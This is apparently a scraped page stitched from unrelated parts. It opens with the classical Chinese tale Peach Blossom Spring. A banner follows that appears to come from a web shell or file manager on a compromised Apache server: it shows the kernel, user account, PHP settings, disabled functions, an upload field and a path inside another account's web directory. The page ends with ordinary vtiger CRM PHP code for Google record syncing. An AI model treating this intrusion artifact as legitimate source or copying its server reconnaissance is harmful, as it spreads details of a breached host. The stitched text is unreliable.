晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /proc/thread-self/root/home/akaindir/public_html/crm/modules/Google/handlers/ |
Upload File : |
<?php
/*+***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*************************************************************************************/
vimport('~~/modules/WSAPP/Handlers/vtigerCRMHandler.php');
vimport('~~/include/Webservices/Utils.php');
class Google_Vtiger_Handler extends vtigerCRMHandler {
public function translateTheReferenceFieldIdsToName($records, $module, $user) {
$db = PearDatabase::getInstance();
global $current_user;
$current_user = $user;
$handler = vtws_getModuleHandlerFromName($module, $user);
$meta = $handler->getMeta();
$referenceFieldDetails = $meta->getReferenceFieldDetails();
foreach ($referenceFieldDetails as $referenceFieldName => $referenceModuleDetails) {
if($module == 'Events' && $referenceFieldName == "contact_id"){
// to set all related Contacts of Event records
foreach($records as $index => $record){
$id = $record['id'];
$idComp = vtws_getIdComponents($id);
$recordIds[] = $idComp[1];
}
$eventRecordModel = new Events_Record_Model();
$contactsInfos = $eventRecordModel->getRelatedContactInfoFromIds($recordIds);
foreach($records as $index => $record){
$id = $record['id'];
$idComp = vtws_getIdComponents($id);
if($contactsInfos[$idComp[1]]){
$records[$index]['attendees'] = $contactsInfos[$idComp[1]];
}
}
}else{
$referenceFieldIds = array();
$referenceModuleIds = array();
$referenceIdsName = array();
foreach ($records as $recordDetails) {
$referenceWsId = $recordDetails[$referenceFieldName];
if (!empty($referenceWsId)) {
$referenceIdComp = vtws_getIdComponents($referenceWsId);
$webserviceObject = VtigerWebserviceObject::fromId($db, $referenceIdComp[0]);
if ($webserviceObject->getEntityName() == 'Currency') {
continue;
}
$referenceModuleIds[$webserviceObject->getEntityName()][] = $referenceIdComp[1];
$referenceFieldIds[] = $referenceIdComp[1];
}
}
foreach ($referenceModuleIds as $referenceModule => $idLists) {
$nameList = getEntityName($referenceModule, $idLists);
foreach ($nameList as $key => $value)
$referenceIdsName[$key] = $value;
}
$recordCount = count($records);
for ($i = 0; $i < $recordCount; $i++) {
$record = $records[$i];
if (!empty($record[$referenceFieldName])) {
$wsId = vtws_getIdComponents($record[$referenceFieldName]);
$record[$referenceFieldName] = decode_html($referenceIdsName[$wsId[1]]);
}
$records[$i] = $record;
}
}
}
return $records;
}
public function put($recordDetails, $user) {
global $current_user;
$current_user = $user;
$this->user = $user;
$recordDetails = $this->syncToNativeFormat($recordDetails);
$createdRecords = $recordDetails['created'];
$updatedRecords = $recordDetails['updated'];
$deletedRecords = $recordDetails['deleted'];
$recordDetails['skipped'] = array();
$updateDuplicateRecords = array();
if (count($createdRecords) > 0) {
$createdRecords = $this->translateReferenceFieldNamesToIds($createdRecords, $user);
$createdRecords = $this->fillNonExistingMandatoryPicklistValues($createdRecords);
$createdRecords = $this->fillMandatoryFields($createdRecords, $user);
}
foreach ($createdRecords as $index => $record) {
unset($_REQUEST['contactidlist']);
if($record['module'] == 'Events' && isset($record['contactidlist'])) {
$_REQUEST['contactidlist'] = $record['contactidlist'];
}
try {
$createdRecords[$index] = vtws_create($record['module'], $record, $this->user);
} catch (DuplicateException $e) {
$skipped = true;
$duplicateRecordIds = $e->getDuplicateRecordIds();
$duplicatesResult = $this->triggerSyncActionForDuplicate($record, $duplicateRecordIds);
if ($duplicatesResult) {
$updateDuplicateRecords[$index] = $duplicatesResult;
$skipped = false;
}
if ($skipped) {
$recordDetails['skipped'][] = array('record' => $createdRecords[$index],
'messageidentifier' => '',
'message' => $e->getMessage());
}
unset($createdRecords[$index]);
continue;
} catch (Exception $e) {
$recordDetails['skipped'][] = array('record' => $createdRecords[$index],
'messageidentifier' => '',
'message' => $e->getMessage());
unset($createdRecords[$index]);
continue;
}
}
if (count($updatedRecords) > 0) {
$updatedRecords = $this->translateReferenceFieldNamesToIds($updatedRecords, $user);
}
$crmIds = array();
foreach ($updatedRecords as $index => $record) {
$webserviceRecordId = $record["id"];
$recordIdComp = vtws_getIdComponents($webserviceRecordId);
$crmIds[] = $recordIdComp[1];
}
$assignedRecordIds = array();
if ($this->isClientUserSyncType()|| $this->isClientUserAndGroupSyncType()) {
$assignedRecordIds = wsapp_checkIfRecordsAssignToUser($crmIds, $this->user->id);
// To check if the record assigned to group
if($this->isClientUserAndGroupSyncType()){
$groupIds = $this->getGroupIds($this->user->id);
foreach ($groupIds as $group) {
$groupRecordId = wsapp_checkIfRecordsAssignToUser($crmIds, $group);
$assignedRecordIds = array_merge($assignedRecordIds, $groupRecordId);
}
}
// End
}
foreach ($updatedRecords as $index => $record) {
$webserviceRecordId = $record["id"];
//While Updating Vtiger Record, should not update these values for event
if($record['module'] == 'Events') {
unset($record['eventstatus']);
unset($record['activitytype']);
unset($record['duration_hours']);
}
unset($_REQUEST['contactidlist']);
if($record['module'] == 'Events') {
$_REQUEST['contactidlist'] = $record['contactidlist'];
}
$recordIdComp = vtws_getIdComponents($webserviceRecordId);
try {
if (in_array($recordIdComp[1], $assignedRecordIds)) {
$updatedRecords[$index] = vtws_revise($record, $this->user);
} else if (!$this->isClientUserSyncType()) {
$updatedRecords[$index] = vtws_revise($record, $this->user);
} else {
$this->assignToChangedRecords[$index] = $record;
}
} catch (DuplicateException $e) {
$skipped = true;
$duplicateRecordIds = $e->getDuplicateRecordIds();
$duplicatesResult = $this->triggerSyncActionForDuplicate($record, $duplicateRecordIds);
if ($duplicatesResult) {
$updateDuplicateRecords[$index] = $duplicatesResult;
$skipped = false;
}
if ($skipped) {
$recordDetails['skipped'][] = array('record' => $updatedRecords[$index],
'messageidentifier' => '',
'message' => $e->getMessage());
}
unset($updatedRecords[$index]);
continue;
} catch (Exception $e) {
$recordDetails['skipped'][] = array('record' => $updatedRecords[$index],
'messageidentifier' => '',
'message' => $e->getMessage());
unset($updatedRecords[$index]);
continue;
}
}
foreach ($updateDuplicateRecords as $index => $record) {
$updatedRecords[$index] = $record;
}
$hasDeleteAccess = null;
$deletedCrmIds = array();
foreach ($deletedRecords as $index => $record) {
$webserviceRecordId = $record;
$recordIdComp = vtws_getIdComponents($webserviceRecordId);
$deletedCrmIds[] = $recordIdComp[1];
}
$assignedDeletedRecordIds = wsapp_checkIfRecordsAssignToUser($deletedCrmIds, $this->user->id);
// To get record id's assigned to group of the current user
if($this->isClientUserAndGroupSyncType()){
foreach ($groupIds as $group) {
$groupRecordId = wsapp_checkIfRecordsAssignToUser($deletedCrmIds, $group);
$assignedDeletedRecordIds = array_merge($assignedDeletedRecordIds, $groupRecordId);
}
}
// End
foreach ($deletedRecords as $index => $record) {
$idComp = vtws_getIdComponents($record);
if (empty($hasDeleteAccess)) {
$handler = vtws_getModuleHandlerFromId($idComp[0], $this->user);
$meta = $handler->getMeta();
$hasDeleteAccess = $meta->hasDeleteAccess();
}
if ($hasDeleteAccess) {
if (in_array($idComp[1], $assignedDeletedRecordIds)) {
try {
vtws_delete($record, $this->user);
} catch (Exception $e) {
$recordDetails['skipped'][] = array('record' => $deletedRecords[$index],
'messageidentifier' => '',
'message' => $e->getMessage());
continue;
}
}
}
}
$recordDetails['created'] = $createdRecords;
$recordDetails['updated'] = $updatedRecords;
$recordDetails['deleted'] = $deletedRecords;
return $this->nativeToSyncFormat($recordDetails);
}
}